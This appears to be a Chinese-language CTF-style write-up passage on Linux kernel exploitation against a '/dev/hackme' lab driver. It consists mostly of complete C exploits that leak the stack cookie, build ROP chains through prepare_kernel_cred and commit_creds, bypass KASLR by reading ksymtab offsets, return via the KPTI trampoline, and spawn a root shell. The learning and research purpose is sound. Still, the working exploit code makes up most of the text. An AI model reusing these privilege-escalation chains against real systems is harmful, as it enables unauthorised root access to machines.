1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } unsigned long user_rip = (unsigned long )get_shell;unsigned long pop_rdi_ret = 0xffffffff81006370 ;unsigned long pop_rdx_ret = 0xffffffff81007616 ; unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; unsigned long commit_creds = 0xffffffff814c6410 ;unsigned long prepare_kernel_cred = 0xffffffff814c67f0 ;unsigned long swapgs_pop1_ret = 0xffffffff8100a55f ; unsigned long iretq = 0xffffffff8100c0d9 ;void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0x0 ; payload[off++] = prepare_kernel_cred; payload[off++] = pop_rdx_ret; payload[off++] = 0x8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = commit_creds; payload[off++] = swapgs_pop1_ret; payload[off++] = 0x0 ; payload[off++] = iretq; payload[off++] = user_rip; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } int main () { save_state(); signal(SIGSEGV, get_shell); open_dev(); leak(); overflow(); puts ("[!] Should never be reached" ); return 0 ; }
法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;void leak (void ) { unsigned n = 20 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; printf ("[*] Leaked %zd bytes\n" , r); printf ("[*] Cookie: %lx\n" , cookie); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } unsigned long user_rip = (unsigned long )get_shell;unsigned long pop_rdi_ret = 0xffffffff81006370 ;unsigned long pop_rdx_ret = 0xffffffff81007616 ;unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4 ; unsigned long mov_rdi_rax_jne_pop2_ret = 0xffffffff8166fea3 ; unsigned long commit_creds = 0xffffffff814c6410 ;unsigned long prepare_kernel_cred = 0xffffffff814c67f0 ;unsigned long kpti_trampoline = 0xffffffff81200f10 + 22 ;void overflow (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_ret; payload[off++] = 0x0 ; payload[off++] = prepare_kernel_cred; payload[off++] = pop_rdx_ret; payload[off++] = 0x8 ; payload[off++] = cmp_rdx_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = mov_rdi_rax_jne_pop2_ret; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = commit_creds; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = user_rip; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } int main () { save_state(); open_dev(); leak(); overflow(); puts ("[!] Should never be reached" ); return 0 ; }
添加 KASLR 内核地址随机化,和用户态的 ASLR
一样。在用户态中,我们会通过泄露段中的地址,从而计算段的基地址,再利用偏移算出其他函数地址。对于内核态也是如此,但是值得注意的是,大多数符号都是自己随机化的,所以地址和内核基址(.text)之间的偏移量并不像之前一样是恒定的。
但是还是有洞可寻的,内核中的某些区域永远不会被随机化:
从 _text base 到 __x86_retpoline_r15 的函数,即 _text+0x400dc6 不受影响。但是,commit_creds() 和 prepare_kernel_cred() 不在这个区域。
swapgs_restore_regs_and_return_to_usermode() 不受影响
从 _text+0xf85198 开始的内核符号表 ksymtab 不受影响。 这里包含可用于计算 commit_creds() 和 prepare_kernel_cred() 的地址的偏移量。
来看看内核符号表 ksymtab ,value_offset 是我们该关注的,它是从 ksymtab 中符号条目的地址到实际符号地址本身的偏移量
1 2 3 4 5 struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
我们可以从 /proc/kallsyms
中获取 ksymtab 的内容
1 2 3 4 cat /proc/kallsyms | grep ksymtab_commit_creds -> ffffffffb7f87d90 r __ksymtab_commit_creds cat /proc/kallsyms | grep ksymtab_prepare_kernel_cred -> ffffffffb7f8d4fc r __ksymtab_prepare_kernel_cred
首先还是要泄露地址,测试发现在偏移量为 38 处有一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void leak (void ) { unsigned n = 40 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; image_base = leak[38 ] - 0xa157 ULL; kpti_trampoline = image_base + 0x200f10 UL + 22UL ; pop_rax_ret = image_base + 0x4d11 UL; read_mem_pop1_ret = image_base + 0x4aae UL; pop_rdi_rbp_ret = image_base + 0x38a0 UL; ksymtab_prepare_kernel_cred = image_base + 0xf8d4fc UL; ksymtab_commit_creds = image_base + 0xf87d90 UL; printf ("[*] Leaked %zd bytes\n" , r); printf (" --> Cookie: %lx\n" , cookie); printf (" --> Image base: %lx\n" , image_base); }
然后就是泄露 commit_creds() 和 prepare_kernel_cred() 了
泄露 commit_creds 先说说泄露 commit_creds()
获取 ksymtab_commit_creds 的 value_offset(),然后将它们相加即可
利用以下几个 gadget ,将 rax 赋成 ksymtab_commit_creds - 0x10
,之后 eax 就会被赋值为 ksymtab_commit_creds 的内容
1 2 3 unsigned long pop_rax_ret = image_base + 0x4d11 UL; unsigned long read_mem_pop1_ret = image_base + 0x4aae UL; unsigned long pop_rdi_rbp_ret = image_base + 0x38a0 UL;
因为 KPTI 保护并没有关,所以还是要跳到 swapgs_restore_regs_and_return_to_usermode + 22
的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void stage_1 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rax_ret; payload[off++] = ksymtab_commit_creds - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0x0 ; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_commit_creds; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to leak commit_creds()" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); }
即使在 KPTI trampoline 中有一个 pop rax,并且我们使用一个虚拟值来弹出它,我们读取的结果 rax 仍然可以正确恢复,所以我们不需要关心它。
当返回到用户态后,我们就需要用 rax 的值来计算 commit_creds() 的实际地址,这里创建了一个 unsigned long 类型的全局变量 tmp_store ,用于存储 rax 的值。然后再将 tmp_store 和 ksymtab_commit_creds 相加,(注意要将 tmp_store 转换为 int 类型,因为 value_offset
的数据类型是 int )
1 2 3 4 5 6 7 8 void get_commit_creds (void ) { __asm__( "mov tmp_store, rax;" ); commit_creds = ksymtab_commit_creds + (int )tmp_store; printf (" --> commit_creds: %lx\n" , commit_creds); stage_2(); }
然后就是泄露 prepare_kernel_cred 了。
泄露 prepare_kernel_cred 和泄露 commit_creds 很像,就不多说了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void stage_2 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rax_ret; payload[off++] = ksymtab_prepare_kernel_cred - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0x0 ; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_prepare_kernel_cred; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to leak prepare_kernel_cred()" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void get_prepare_kernel_cred (void ) { __asm__( "mov tmp_store, rax;" ); prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int )tmp_store; printf (" --> prepare_kernel_cred: %lx\n" , prepare_kernel_cred); stage_3(); }
调用 prepare_kernel_cred(0) 然后用同样的办法调用 prepare_kernel_cred(0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void stage_3 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = prepare_kernel_cred; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )after_prepare_kernel_cred; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to call prepare_kernel_cred(0)" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void after_prepare_kernel_cred (void ) { __asm__( "mov tmp_store, rax;" ); returned_creds_struct = tmp_store; printf (" --> returned_creds_struct: %lx\n" , returned_creds_struct); stage_4(); }
调用 commit_creds(0) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 void stage_4 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = returned_creds_struct; payload[off++] = 0 ; payload[off++] = commit_creds; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_shell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to call commit_creds(returned_creds_struct)" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" );
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 #define _GNU_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sched.h> #include <sys/mman.h> #include <signal.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> #include <sys/wait.h> #include <poll.h> #include <unistd.h> #include <stdlib.h> int global_fd;void open_dev () { global_fd = open("/dev/hackme" , O_RDWR); if (global_fd < 0 ){ puts ("[!] Failed to open device" ); exit (-1 ); } else { puts ("[*] Opened device" ); } } unsigned long user_cs, user_ss, user_rflags, user_sp;void save_state () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*] Saved state" ); } void print_leak (unsigned long *leak, unsigned n) { for (unsigned i = 0 ; i < n; ++i) { printf ("%u: %lx\n" , i, leak[i]); } } unsigned long cookie;unsigned long image_base;unsigned long kpti_trampoline;unsigned long pop_rax_ret; unsigned long read_mem_pop1_ret; unsigned long pop_rdi_rbp_ret; unsigned long ksymtab_prepare_kernel_cred;unsigned long ksymtab_commit_creds;unsigned long prepare_kernel_cred;unsigned long commit_creds;unsigned long returned_creds_struct;unsigned long tmp_store; void leak (void ) { unsigned n = 40 ; unsigned long leak[n]; ssize_t r = read(global_fd, leak, sizeof (leak)); cookie = leak[16 ]; image_base = leak[38 ] - 0xa157 ULL; kpti_trampoline = image_base + 0x200f10 UL + 22UL ; pop_rax_ret = image_base + 0x4d11 UL; read_mem_pop1_ret = image_base + 0x4aae UL; pop_rdi_rbp_ret = image_base + 0x38a0 UL; ksymtab_prepare_kernel_cred = image_base + 0xf8d4fc UL; ksymtab_commit_creds = image_base + 0xf87d90 UL; printf ("[*] Leaked %zd bytes\n" , r); printf (" --> Cookie: %lx\n" , cookie); printf (" --> Image base: %lx\n" , image_base); } void stage_1 (void ) ;void stage_2 (void ) ;void stage_3 (void ) ;void stage_4 (void ) ;void get_commit_creds (void ) ;void stage_1 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rax_ret; payload[off++] = ksymtab_commit_creds - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0x0 ; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_commit_creds; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to leak commit_creds()" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void get_commit_creds (void ) { __asm__( "mov tmp_store, rax;" ); commit_creds = ksymtab_commit_creds + (int )tmp_store; printf (" --> commit_creds: %lx\n" , commit_creds); stage_2(); } void get_prepare_kernel_cred (void ) ;void stage_2 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rax_ret; payload[off++] = ksymtab_prepare_kernel_cred - 0x10 ; payload[off++] = read_mem_pop1_ret; payload[off++] = 0x0 ; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_prepare_kernel_cred; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to leak prepare_kernel_cred()" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void get_prepare_kernel_cred (void ) { __asm__( "mov tmp_store, rax;" ); prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int )tmp_store; printf (" --> prepare_kernel_cred: %lx\n" , prepare_kernel_cred); stage_3(); } void after_prepare_kernel_cred (void ) ;void stage_3 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = 0 ; payload[off++] = 0 ; payload[off++] = prepare_kernel_cred; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )after_prepare_kernel_cred; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to call prepare_kernel_cred(0)" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void after_prepare_kernel_cred (void ) { __asm__( "mov tmp_store, rax;" ); returned_creds_struct = tmp_store; printf (" --> returned_creds_struct: %lx\n" , returned_creds_struct); stage_4(); } void get_shell (void ) ;void stage_4 (void ) { unsigned n = 50 ; unsigned long payload[n]; unsigned off = 16 ; payload[off++] = cookie; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = pop_rdi_rbp_ret; payload[off++] = returned_creds_struct; payload[off++] = 0 ; payload[off++] = commit_creds; payload[off++] = kpti_trampoline; payload[off++] = 0x0 ; payload[off++] = 0x0 ; payload[off++] = (unsigned long )get_shell; payload[off++] = user_cs; payload[off++] = user_rflags; payload[off++] = user_sp; payload[off++] = user_ss; puts ("[*] Prepared payload to call commit_creds(returned_creds_struct)" ); ssize_t w = write(global_fd, payload, sizeof (payload)); puts ("[!] Should never be reached" ); } void get_shell (void ) { puts ("[*] Returned to userland" ); if (getuid() == 0 ){ printf ("[*] UID: %d, got root!\n" , getuid()); system("/bin/sh" ); } else { printf ("[!] UID: %d, didn't get root\n" , getuid()); exit (-1 ); } } int main () { save_state(); open_dev(); leak(); stage_1(); puts ("[!] Should never be reached" ); return 0 ; }
参考博客
https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/